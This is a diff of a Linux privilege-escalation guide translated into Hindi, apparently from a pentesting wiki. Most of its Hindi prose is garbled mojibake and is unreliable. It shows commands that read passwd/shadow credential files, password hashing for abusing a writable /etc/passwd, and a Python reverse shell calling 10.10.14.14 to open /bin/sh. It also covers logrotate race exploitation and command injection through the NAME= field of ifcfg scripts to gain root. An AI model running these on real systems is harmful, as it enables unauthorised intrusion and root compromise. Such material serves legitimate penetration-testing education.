рдХреБрдВрдЬреА рдХреА рддреБрд▓рдирд╛ `/home/testusername/.ssh/authorized_keys` рдФрд░ `/home/testusername/access` рдореЗрдВ рд╕реНрдерд┐рдд рдХреБрдВрдЬрд┐рдпреЛрдВ рд╕реЗ рдХрд░реЗрдЧрд╛ред +рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рдпрджрд┐ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "**testusername**" рдХреА **private** рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ ssh рдЖрдкрдХреА рдХреБрдВрдЬреА рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреА рддреБрд▓рдирд╛ `/home/testusername/.ssh/authorized_keys` рдФрд░ `/home/testusername/access` рдореЗрдВ рд╕реНрдерд┐рдд рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдХрд░реЗрдЧрд╛ред ### ForwardAgent/AllowAgentForwarding -SSH рдПрдЬреЗрдВрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЖрдкрдХреЛ **рдЕрдкрдиреЗ рд╕реНрдерд╛рдиреАрдп SSH рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдХреБрдВрдЬрд┐рдпрд╛рдБ (рдмрд┐рдирд╛ рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рдХреЗ!) рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдмреИрдареА рд░рд╣реЗрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдПрдХ рд╣реЛрд╕реНрдЯ** рдкрд░ **рдЬрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ **рджреВрд╕рд░реЗ** рд╣реЛрд╕реНрдЯ рдкрд░ **рдЬрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗ **рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ** рдЕрдкрдиреА **рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╣реЛрд╕реНрдЯ** рдореЗрдВ рд╕реНрдерд┐рдд **рдХреБрдВрдЬреА**ред +SSH рдПрдЬреЗрдВрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЖрдкрдХреЛ **рдЕрдкрдиреА рд╕реНрдерд╛рдиреАрдп SSH рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдХреБрдВрдЬрд┐рдпрд╛рдБ (рдмрд┐рдирд╛ рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рдХреЗ!) рдЫреЛрдбрд╝ рджреЗрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдПрдХ рд╣реЛрд╕реНрдЯ** рдкрд░ **рдЬрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ **рджреВрд╕рд░реЗ** рд╣реЛрд╕реНрдЯ рдкрд░ **рдЬрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗ **рдЙрд╕реА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬреЛ рдЖрдкрдХреЗ **рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╣реЛрд╕реНрдЯ** рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред рдЖрдкрдХреЛ рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЛ `$HOME/.ssh.config` рдореЗрдВ рдЗрд╕ рддрд░рд╣ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ``` Host example.com ForwardAgent yes ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ `Host` `*` рд╣реИ, рддреЛ рд╣рд░ рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╢реАрди рдкрд░ рдХреВрджрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рд╣реЛрд╕реНрдЯ рдХреБрдВрдЬрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ (рдЬреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ)ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ `Host` `*` рд╣реИ, рддреЛ рд╣рд░ рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╢реАрди рдкрд░ рдХреВрджрддрд╛ рд╣реИ, рд╡рд╣ рд╣реЛрд╕реНрдЯ рдХреБрдВрдЬрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ (рдЬреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ)ред рдлрд╛рдЗрд▓ `/etc/ssh_config` рдЗрд╕ **рд╡рд┐рдХрд▓реНрдкреЛрдВ** рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд░ рд╕рдХрддреА рд╣реИ рдФрд░ рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдХрд░ рд╕рдХрддреА рд╣реИред\ рдлрд╛рдЗрд▓ `/etc/sshd_config` ssh-agent рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдХреЛ рдХреАрд╡рд░реНрдб `AllowAgentForwarding` рдХреЗ рд╕рд╛рде **рдЕрдиреБрдорддрд┐** рдпрд╛ **рдЕрд╕реНрд╡реАрдХреГрддрд┐** рджреЗ рд╕рдХрддреА рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрдиреБрдорддрд┐ рд╣реИ)ред @@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/ ### Passwd/Shadow рдлрд╝рд╛рдЗрд▓реЗрдВ -OS рдХреЗ рдЖрдзрд╛рд░ рдкрд░, `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╝рд╛рдЗрд▓реЗрдВ рдПрдХ рдЕрд▓рдЧ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рдПрдХ рдмреИрдХрдЕрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ **рдЗрдирдореЗрдВ рд╕реЗ рд╕рднреА рдХреЛ рдЦреЛрдЬреЗрдВ** рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЗрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ **рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рд╣реИрд╢ рд╣реИрдВ**: +OS рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╝рд╛рдЗрд▓реЗрдВ рдПрдХ рдЕрд▓рдЧ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рдПрдХ рдмреИрдХрдЕрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ **рдЙрдирдореЗрдВ рд╕реЗ рд╕рднреА рдХреЛ рдЦреЛрдЬреЗрдВ** рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП **рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рд╣реИрд╢ рд╣реИрдВ**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1194,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### Writable /etc/passwd -рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВред +рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВред ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1325,16 +1325,16 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate рд╢реЛрд╖рдг -`logrotate` рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓** рдпрд╛ рдЗрд╕рдХреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдкрд░ **рд▓реЗрдЦрди рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЗ рд╕рд╛рде рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдмрдврд╝реА рд╣реБрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ **рд░реВрдЯ** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ _**/etc/bash_completion.d/**_ рдЬреИрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ _/var/log_ рдореЗрдВ рд╣реА рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЬрд╣рд╛рдВ рд▓реЙрдЧ рд░реЛрдЯреЗрд╢рди рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдПред +`logrotate` рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓** рдпрд╛ рдЗрд╕рдХреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдкрд░ **рд▓реЗрдЦрди рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЗ рд╕рд╛рде рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдмрдврд╝реА рд╣реБрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ **root** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ _**/etc/bash_completion.d/**_ рдЬреИрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ _/var/log_ рдореЗрдВ рд╣реА рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЬрд╣рд╛рдВ рд▓реЙрдЧ рд░реЛрдЯреЗрд╢рди рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдПред -> [!NOTE] +> [!TIP] > рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА `logrotate` рд╕рдВрд╕реНрдХрд░рдг `3.18.0` рдФрд░ рдкреБрд░рд╛рдиреЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -рдЖрдк рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдХрд╛ рд▓рд╛рдн [**logrotten**](https://github.com/whotwagner/logrotten) рдХреЗ рд╕рд╛рде рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдХрд╛ рд╢реЛрд╖рдг [**logrotten**](https://github.com/whotwagner/logrotten) рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx рд▓реЙрдЧ),** рдХреЗ рд╕рдорд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рднреА рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рд▓реЙрдЧ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЙрди рд▓реЙрдЧ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХреМрди рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рд▓реЙрдЧ рдХреЛ рд╕рд┐рдореНрд▓рд┐рдВрдХреНрд╕ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред @@ -1342,11 +1342,11 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s **рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рд╕рдВрджрд░реНрдн:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -рдпрджрд┐, рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ _/etc/sysconfig/network-scripts_ рдореЗрдВ **рд▓реЗрдЦрди** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ `ifcf-` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рдЗрд╕реЗ **рд╕рдорд╛рдпреЛрдЬрд┐рдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХрд╛ **рд╕рд┐рд╕реНрдЯрдо рдкреНрд╡рдВрдб** рд╣реИред +рдпрджрд┐, рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ _/etc/sysconfig/network-scripts_ рдореЗрдВ **рд▓реЗрдЦрди** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ `ifcf-` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рдЗрд╕реЗ **рд╕рдорд╛рдпреЛрдЬрд┐рдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХрд╛ **рд╕рд┐рд╕реНрдЯрдо рдкреНрд╡рд╛рдЗрдВрдб** рд╣реИред рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, _ifcg-eth0_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред рд╡реЗ рдмрд┐рд▓реНрдХреБрд▓ .INI рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрдиреНрд╣реЗрдВ Linux рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рдмрдВрдзрдХ (dispatcher.d) рджреНрд╡рд╛рд░рд╛ \~sourced\~ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ `NAME=` рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдирд╣реАрдВ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдирд╛рдо рдореЗрдВ **рд╕рдлреЗрдж/рдЦрд╛рд▓реА рд╕реНрдерд╛рди рд╣реИ рддреЛ рд╕рд┐рд╕реНрдЯрдо рд╕рдлреЗрдж/рдЦрд╛рд▓реА рд╕реНрдерд╛рди рдХреЗ рдмрд╛рдж рдХреЗ рднрд╛рдЧ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдкрд╣рд▓реЗ рд╕рдлреЗрдж рд╕реНрдерд╛рди рдХреЗ рдмрд╛рдж рд╕рдм рдХреБрдЫ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ**ред +рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ `NAME=` рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдирд╣реАрдВ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдЖрдкрдХреЗ рдирд╛рдо рдореЗрдВ **рд╕рдлреЗрдж/рдЦрд╛рд▓реА рд╕реНрдерд╛рди рд╣реИ рддреЛ рд╕рд┐рд╕реНрдЯрдо рд╕рдлреЗрдж/рдЦрд╛рд▓реА рд╕реНрдерд╛рди рдХреЗ рдмрд╛рдж рдХреЗ рднрд╛рдЧ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдкрд╣рд▓реЗ рд╕рдлреЗрдж рд╕реНрдерд╛рди рдХреЗ рдмрд╛рдж рд╕рдм рдХреБрдЫ root рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1358,9 +1358,9 @@ DEVICE=eth0 рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА `/etc/init.d` **рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕** рдХрд╛ рдШрд░ рд╣реИ рдЬреЛ System V init (SysVinit) рдХреЗ рд▓рд┐рдП рд╣реИ, рдЬреЛ **рдХреНрд▓рд╛рд╕рд┐рдХ Linux рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА** рд╣реИред рдЗрд╕рдореЗрдВ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ `start`, `stop`, `restart`, рдФрд░ рдХрднреА-рдХрднреА `reload` рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдпрд╛ `/etc/rc?.d/` рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рддреАрдХрд╛рддреНрдордХ рд▓рд┐рдВрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Redhat рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрде `/etc/rc.d/init.d` рд╣реИред -рджреВрд╕рд░реА рдУрд░, `/etc/init` **Upstart** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдЬреЛ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХреА рдЧрдИ рдПрдХ рдирдИ **рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди** рдкреНрд░рдгрд╛рд▓реА рд╣реИ, рдЬреЛ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред Upstart рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХреЗ рдмрд╛рд╡рдЬреВрдж, SysVinit рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЕрднреА рднреА Upstart рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ Upstart рдореЗрдВ рдПрдХ рд╕рдВрдЧрддрддрд╛ рдкрд░рдд рд╣реИред +рджреВрд╕рд░реА рдУрд░, `/etc/init` **Upstart** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдЬреЛ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдПрдХ рдирдпрд╛ **рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди** рд╣реИ, рдЬреЛ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред Upstart рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХреЗ рдмрд╛рд╡рдЬреВрдж, SysVinit рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЕрднреА рднреА Upstart рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ Upstart рдореЗрдВ рдПрдХ рд╕рдВрдЧрддрддрд╛ рдкрд░рдд рд╣реИред -**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рдФрд░ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ рдорд╛рдВрдЧ рдкрд░ рдбреЗрдорди рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ, рдСрдЯреЛрдорд╛рдЙрдВрдЯ рдкреНрд░рдмрдВрдзрди, рдФрд░ рд╕рд┐рд╕реНрдЯрдо рд╕реНрдерд┐рддрд┐ рд╕реНрдиреИрдкрд╢реЙрдЯ рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рддрд░рдг рдкреИрдХреЗрдЬ рдХреЗ 